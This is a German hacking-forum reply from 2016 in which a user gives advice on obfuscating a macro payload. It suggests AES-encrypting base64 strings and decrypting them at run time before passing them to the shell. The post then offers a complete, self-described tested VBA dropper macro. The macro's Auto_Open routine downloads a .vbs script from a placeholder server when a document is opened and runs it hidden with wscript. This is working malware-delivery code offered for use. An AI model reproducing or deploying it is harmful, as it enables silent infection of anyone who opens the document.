Seite 2 von 2 ErsteErste 12
Ergebnis 11 bis 11 von 11
  1. #11
    NoClose Wurm Avatar von Braz
    Registriert seit
    19.05.2015
    Beiträge
    184

    Standard AW: Versteckte Netzwerk Laufwerke sichtbar machen?

    AH CRUZ ICH DREH DURCH!
    Ich wollte gerade exakt das gleiche schreiben!

    Den b64 Output nochmal mit AES verschlüsseln.
    AES-Decrypt Funktion anfügen -> AES-Strings am Ende vom Makro entschlüsseln und gleich in die Shell übergeben.

    //Edit:
    Falls du aber gleich schwere Geschütze auffahren willst, nimm das Makro hier (selbstgebaut, getestet und für gut befunden):
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, _ ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

    Sub Auto_Open()


    Dim InpUrl As String
    Dim OutFilePath As String
    Dim DownloadStatus As Long

    InpUrl = "http://deinserver.net/1.vbs"
    OutFilePath = "C:\Users\Public\1.vbs"

    DownloadStatus = URLDownloadToFile(0, InpUrl, OutFilePath, 0, 0)

    If DownloadStatus = 0 Then
    Shell "wscript C:\Users\Public\1.vbs", vbHide
    DownloadStatus = 1
    Else
    MsgBox "File nicht erreichbar #sadboy"
    End If
    End Sub

    Geändert von Braz (26.10.2016 um 17:01 Uhr)
    ______________________________________
    Seitdem ich perfekt bin, hält sich meine Arroganz in Grenzen.

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    mtf-taker (26.10.2016)

Seite 2 von 2 ErsteErste 12

Ähnliche Themen

  1. Unsichtbare in Kontaktliste Sichtbar machen
    Von stotz im Forum Instant Messaging
    Antworten: 4
    Letzter Beitrag: 27.02.2008, 16:31
  2. Versteckte Ordner sichtbar machen..
    Von no swear_^ im Forum Windows
    Antworten: 6
    Letzter Beitrag: 24.01.2008, 20:51

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •